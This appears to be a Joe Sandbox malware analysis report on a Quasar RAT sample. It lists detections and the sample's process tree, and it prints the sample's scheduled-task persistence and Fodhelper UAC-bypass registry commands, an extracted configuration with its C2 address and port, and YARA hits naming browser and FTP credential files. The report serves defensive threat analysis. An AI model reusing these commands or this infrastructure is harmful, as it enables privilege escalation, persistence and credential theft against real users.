Edit tour

Windows Analysis Report
Dd5DwDCHJD.exe

Overview

General Information

Sample name:	Dd5DwDCHJD.exe renamed because original name is a hash value
Original sample name:	6d6c9c719e2f757442374af378c343a7.exe
Analysis ID:	1582962
MD5:	6d6c9c719e2f757442374af378c343a7
SHA1:	a58a2aa6dae2dbdf64472614985cac2adce4eddb
SHA256:	444c97f6db0626069965d9e4ddb4bf315326954c51b123b3dc7d64084e7fb646
Tags:	exeQuasarRATRATuser-abuse_ch
Infos:

Detection

Quasar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Fodhelper UAC Bypass

Suricata IDS alerts for network traffic

UAC bypass detected (Fodhelper)

Yara detected Quasar RAT

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Bypass UAC via Fodhelper.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Reg Add Open Command

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

Dd5DwDCHJD.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\Dd5DwDCHJD.exe" MD5: 6D6C9C719E2F757442374AF378C343A7)

schtasks.exe (PID: 7360 cmdline: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7480 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7528 cmdline: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7544 cmdline: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

fodhelper.exe (PID: 7560 cmdline: fodhelper.exe MD5: 85018BE1FD913656BC9FF541F017EACD)

Client.exe (PID: 7616 cmdline: "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" MD5: 6D6C9C719E2F757442374AF378C343A7)

timeout.exe (PID: 7576 cmdline: timeout /t 2 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

reg.exe (PID: 7728 cmdline: reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7744 cmdline: cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7760 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7856 cmdline: reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7892 cmdline: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Install.exe" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

reg.exe (PID: 7908 cmdline: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v "DelegateExecute" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

fodhelper.exe (PID: 7932 cmdline: fodhelper.exe MD5: 85018BE1FD913656BC9FF541F017EACD)

timeout.exe (PID: 7948 cmdline: timeout /t 2 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

reg.exe (PID: 8024 cmdline: reg delete "HKCU\Software\Classes\ms-settings\shell\open\command" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 8040 cmdline: cmd /c del "C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7776 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7868 cmdline: timeout /t 5 /nobreak MD5: 100065E21CFBBDE57CBA2838921F84D6)

Client.exe (PID: 7452 cmdline: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe MD5: 6D6C9C719E2F757442374AF378C343A7)

schtasks.exe (PID: 7656 cmdline: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

Threatname: Quasar

{"Version": "1.4.2", "Host:Port": "193.31.28.181:4004;", "SubDirectory": "$77-cmd", "InstallName": "Client.exe", "MutexName": "704ccf6d-01bf-4037-a807-12a60509b1a4", "StartupKey": "$77-cmd", "Tag": "Office04", "LogDirectoryName": "$77-Logs", "ServerSignature": "NSAbIyaDVOnNFDkzGpUSuZuESeeaBTR0FVyR3XzKKpKVm2XEp11KXhLRgB7AnG2K/3e6DOyvoTJ1jLoidz3KtuFWMuVPYX0HOgKy7j86Km0iGHWjSpbPH3Ekt+4cHj2ZJe3NTqqPkPcUWJWSXbQkG+s59tFfhBtpWrgVyEFyemUkhrlVNc5P7td3TtrtOQs+IIaEnnkPSOCqcjkZZFN3dwfAvc0LSnJkw1zXpN2YVJvaHSd+uIxi9EjezmtgJawkWp4GzxmQJS3Pg7/hSuX1xUqembKwlk9owjULWtLtnWZhbl9hSmKLPVm5XjWRuqjjXwazA++7PUJ0ooa0H0THUUBNj9VS0op3shaVa0My2qBGUOYXS8z3qUXdFZFZTh0KQeeRwhLhsQ0pBfI8rmBNrCry+zTMorvU8t5K3UdZgnDsLETZLuVuXo7BQq+jKppoFs7uNNdum04fw18j72Y7GGHSmPFHq5Q8pqd0NfPtE90dkLI5xWeCBLGLSEWh7L37BVGGAf1EqdBrrgr6A+xwTr24hdpEQa9YUYsfYHoq4DGaw28pnst/yQ93eTTnVn2d4JpJxCNqpZdtcogzEZAUplsPMeAJbsO8QsNvA32VTnd/CLzEzgZkER3Gp0h3GT/t2AOifMhqQxII1Gb5BtwjITQ2+NKUjtOCck6C6shLzHo=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAP7MVinYG7Bp3TFCaecT6TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTIyMjIyNDYzNloYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEArQWo0/U8Y+iecER1g4fmpySyrvJ27IFqh+4hpoOcxOWRg2MPgZoEpiKbDKmR3ybU4FnButfT/zFfD9r+2IytYCZDaYXxt1Z6Uh9liQaTi3xnQ3/K5LUjXLcdonTjGABFZb153VLUsYTX2jkI71X17RMNAMrxLDbp7pAQTa0zHLtA4nI+CK0TTHViT3iv6qfkPHww2s6Y+JGv0XBy8lsQAjRG5YBj7ta4/dUupzZ1+UQw3Ipf/8SqehU+49rkJRq6P39D5+2NTyoWZhRJkmZYMaFAmn0alYmwiHXg36D7T0RB9/khzOo5JQ5d9FpVWZUJJHtItHPChwBeToi8rT+ZDqVUmsHUpnmSK2/RXycYRdTf24MJ4gED0G69InjzW5qkCXfQH7/HLy0OYxP7iTVex+NLGzfqIyMDhDP+b72LFKr2UGwS3h0jHOYkF65yCNyMMAFvRjK/WWvMNO7LueSoCLX+ijLOMSs7XS0jMOZklObQMV9QhHy9XLeuKIMeDLBzB+NyLUC2ik64559Av9jqC2M5Ivd2sfj1cjzWdu2M4WM4HAd4A9hrR/mOxkQAtM6sRPiSufoUpj6JzwJjHwV53e26JuH7CAdHGZez3agrR9pxGpNbDBxCjpMPH4xB8I357QlczMKv0brho/F98JfHBps5VPMdnu2W8A0TeMZgJTUCAwEAAaMyMDAwHQYDVR0OBBYEFBgjvy7htPmbZGKaAGsHHUifFGuxMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAHcDbotBjyWn9JWripLhOMzIvcAbF9/iJ2N4JMIC0GHWxzoNgh0IOkPb3PqUwT/NcSxbvVQVY3oftMX+ywh3ZzqiqZWGsQC/ZyhdKIsbahAX1OHCIxcIDHg9qhZUK7pLtOvJkXkUJ4o8Cs5sSxpHRj/46vmHGRRLkgV+2Ej3s8fygROrZUVJwY+UcfDAm77CyTz2BbveHlXiitPkfedJ2+IXSAX6KwVWJTOzTTykw+lJtzfIWQBO4H3z+mNQEXE47qikiH6pTF1aVSh24/S9LJlAu/w/RJ+PIFUslzgfz5wiMJzI9E4cHLXCaXoarscBV+Vga40IZ8TYa4RDp5oQ8clgm8JTCZMH/TaLLHbePZ/hSvRy0S7CkJPa0YPbCxqzf/BWqW64uhmiBpJbaP6uZKGqbNO9c+KDASK/e21q/ViZy4Qo7G3WGnZd7EXi1psG4zxVt8wF3Qhibp/pQi1tyfJDRhcRyIfc3YsaOrLDd89yJ/O2UfnN4MflCFAufBXLfkUycDZv26mvszaY9c/3N8F8JoLo4kDxLEYbJJq/5jDMWjGh6brCo7mI++Wu2tGd6v+32gqeaZXrqJCj6pMxZriQa11g/A8Ug6cSJDiAh+Spn8RpNUjMWXACvmPHfzW08YD2+pKB0nlrIf7KIKihl06p0W+NWB5yWjUvp6j+CFvn"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Dd5DwDCHJD.exe	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Dd5DwDCHJD.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Dd5DwDCHJD.exe	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28f14d:$x1: Quasar.Common.Messages 0x29f476:$x1: Quasar.Common.Messages 0x2ac14c:$x4: Uninstalling... good bye :-( 0x2ad941:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
Dd5DwDCHJD.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ab6fe:$f1: FileZilla\recentservers.xml 0x2ab73e:$f2: FileZilla\sitemanager.xml 0x2ab780:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab9cc:$b1: Chrome\User Data\ 0x2aba22:$b1: Chrome\User Data\ 0x2abcfa:$b2: Mozilla\Firefox\Profiles 0x2abdf6:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fdd67:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2abf4e:$b4: Opera Software\Opera Stable\Login Data 0x2ac008:$b5: YandexBrowser\User Data\ 0x2ac076:$b5: YandexBrowser\User Data\ 0x2abd4a:$s4: logins.json 0x2aba80:$a1: username_value 0x2aba9e:$a2: password_value 0x2abd8a:$a3: encryptedUsername 0x2fdcab:$a3: encryptedUsername 0x2abdae:$a4: encryptedPassword 0x2fdcc9:$a4: encryptedPassword 0x2fdc47:$a5: httpRealm
Dd5DwDCHJD.exe	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x165102:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ac236:$s3: Process already elevated. 0x28ee4c:$s4: get_PotentiallyVulnerablePasswords 0x278ecf:$s5: GetKeyloggerLogsDirectory 0x29ebd5:$s5: GetKeyloggerLogsDirectory 0x28ee6f:$s6: set_PotentiallyVulnerablePasswords 0x2ff38f:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28f14d:$x1: Quasar.Common.Messages 0x29f476:$x1: Quasar.Common.Messages 0x2ac14c:$x4: Uninstalling... good bye :-( 0x2ad941:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ab6fe:$f1: FileZilla\recentservers.xml 0x2ab73e:$f2: FileZilla\sitemanager.xml 0x2ab780:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab9cc:$b1: Chrome\User Data\ 0x2aba22:$b1: Chrome\User Data\ 0x2abcfa:$b2: Mozilla\Firefox\Profiles 0x2abdf6:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fdd67:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2abf4e:$b4: Opera Software\Opera Stable\Login Data 0x2ac008:$b5: YandexBrowser\User Data\ 0x2ac076:$b5: YandexBrowser\User Data\ 0x2abd4a:$s4: logins.json 0x2aba80:$a1: username_value 0x2aba9e:$a2: password_value 0x2abd8a:$a3: encryptedUsername 0x2fdcab:$a3: encryptedUsername 0x2abdae:$a4: encryptedPassword 0x2fdcc9:$a4: encryptedPassword 0x2fdc47:$a5: httpRealm
C:\Users\user\AppData\Roaming\$77-cmd\Client.exe	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x165102:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ac236:$s3: Process already elevated. 0x28ee4c:$s4: get_PotentiallyVulnerablePasswords 0x278ecf:$s5: GetKeyloggerLogsDirectory 0x29ebd5:$s5: GetKeyloggerLogsDirectory 0x28ee6f:$s6: set_PotentiallyVulnerablePasswords 0x2ff38f:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1741000374.000000001BE36000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000000.00000000.1662187645.0000000000CB2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: Dd5DwDCHJD.exe PID: 7324	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: Client.exe PID: 7452	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Dd5DwDCHJD.exe.cb0000.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
0.0.Dd5DwDCHJD.exe.cb0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.Dd5DwDCHJD.exe.cb0000.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth	0x28f14d:$x1: Quasar.Common.Messages 0x29f476:$x1: Quasar.Common.Messages 0x2ac14c:$x4: Uninstalling... good bye :-( 0x2ad941:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
0.0.Dd5DwDCHJD.exe.cb0000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2ab6fe:$f1: FileZilla\recentservers.xml 0x2ab73e:$f2: FileZilla\sitemanager.xml 0x2ab780:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2ab9cc:$b1: Chrome\User Data\ 0x2aba22:$b1: Chrome\User Data\ 0x2abcfa:$b2: Mozilla\Firefox\Profiles 0x2abdf6:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2fdd67:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2abf4e:$b4: Opera Software\Opera Stable\Login Data 0x2ac008:$b5: YandexBrowser\User Data\ 0x2ac076:$b5: YandexBrowser\User Data\ 0x2abd4a:$s4: logins.json 0x2aba80:$a1: username_value 0x2aba9e:$a2: password_value 0x2abd8a:$a3: encryptedUsername 0x2fdcab:$a3: encryptedUsername 0x2abdae:$a4: encryptedPassword 0x2fdcc9:$a4: encryptedPassword 0x2fdc47:$a5: httpRealm
0.0.Dd5DwDCHJD.exe.cb0000.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x165102:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2ac236:$s3: Process already elevated. 0x28ee4c:$s4: get_PotentiallyVulnerablePasswords 0x278ecf:$s5: GetKeyloggerLogsDirectory 0x29ebd5:$s5: GetKeyloggerLogsDirectory 0x28ee6f:$s6: set_PotentiallyVulnerablePasswords 0x2ff38f:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>

Sigma Signatures

Privilege Escalation

Sigma detected: Fodhelper UAC Bypass

Source: Process started

Author: Joe Security: Data: Command: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, CommandLine: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7480, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, ProcessId: 7528, ProcessName: reg.exe

System Summary

Sigma detected: Bypass UAC via Fodhelper.exe

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community: Data: Command: "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" , CommandLine: "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, NewProcessName: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, OriginalFileName: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, ParentCommandLine: fodhelper.exe, ParentImage: C:\Windows\System32\fodhelper.exe, ParentProcessId: 7560, ParentProcessName: fodhelper.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" , ProcessId: 7616, ProcessName: Client.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Dd5DwDCHJD.exe", ParentImage: C:\Users\user\Desktop\Dd5DwDCHJD.exe, ParentProcessId: 7324, ParentProcessName: Dd5DwDCHJD.exe, ProcessCommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, ProcessId: 7360, ProcessName: schtasks.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, ParentImage: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe, ParentProcessId: 7452, ParentProcessName: Client.exe, ProcessCommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, ProcessId: 7656, ProcessName: schtasks.exe

Sigma detected: Suspicious Reg Add Open Command

Source: Process started

Author: frack113: Data: Command: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, CommandLine: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7480, ParentProcessName: cmd.exe, ProcessCommandLine: reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /f, ProcessId: 7528, ProcessName: reg.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\Dd5DwDCHJD.exe", ParentImage: C:\Users\user\Desktop\Dd5DwDCHJD.exe, ParentProcessId: 7324, ParentProcessName: Dd5DwDCHJD.exe, ProcessCommandLine: "schtasks" /create /tn "$77-cmd" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\$77-cmd\Client.exe" /rl HIGHEST /f, ProcessId: 7360, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T05:57:09.322571+0100	2035595	1	Domain Observed Used for C2 Detected	193.31.28.181	4004	192.168.2.4	49731	TCP

ET MALWARE Observed Malicious SSL Cert (Quasar CnC)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T05:57:09.322571+0100	2027619	1	Domain Observed Used for C2 Detected	193.31.28.181	4004	192.168.2.4	49731	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Dd5DwDCHJD.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

Avira: detection malicious, Label: HEUR/AGEN.1307453

Found malware configuration

Source: Dd5DwDCHJD.exe

Malware Configuration Extractor: Quasar {"Version": "1.4.2", "Host:Port": "193.31.28.181:4004;", "SubDirectory": "$77-cmd", "InstallName": "Client.exe", "MutexName": "704ccf6d-01bf-4037-a807-12a60509b1a4", "StartupKey": "$77-cmd", "Tag": "Office04", "LogDirectoryName": "$77-Logs", "ServerSignature": "NSAbIyaDVOnNFDkzGpUSuZuESeeaBTR0FVyR3XzKKpKVm2XEp11KXhLRgB7AnG2K/3e6DOyvoTJ1jLoidz3KtuFWMuVPYX0HOgKy7j86Km0iGHWjSpbPH3Ekt+4cHj2ZJe3NTqqPkPcUWJWSXbQkG+s59tFfhBtpWrgVyEFyemUkhrlVNc5P7td3TtrtOQs+IIaEnnkPSOCqcjkZZFN3dwfAvc0LSnJkw1zXpN2YVJvaHSd+uIxi9EjezmtgJawkWp4GzxmQJS3Pg7/hSuX1xUqembKwlk9owjULWtLtnWZhbl9hSmKLPVm5XjWRuqjjXwazA++7PUJ0ooa0H0THUUBNj9VS0op3shaVa0My2qBGUOYXS8z3qUXdFZFZTh0KQeeRwhLhsQ0pBfI8rmBNrCry+zTMorvU8t5K3UdZgnDsLETZLuVuXo7BQq+jKppoFs7uNNdum04fw18j72Y7GGHSmPFHq5Q8pqd0NfPtE90dkLI5xWeCBLGLSEWh7L37BVGGAf1EqdBrrgr6A+xwTr24hdpEQa9YUYsfYHoq4DGaw28pnst/yQ93eTTnVn2d4JpJxCNqpZdtcogzEZAUplsPMeAJbsO8QsNvA32VTnd/CLzEzgZkER3Gp0h3GT/t2AOifMhqQxII1Gb5BtwjITQ2+NKUjtOCck6C6shLzHo=", "ServerCertificate": 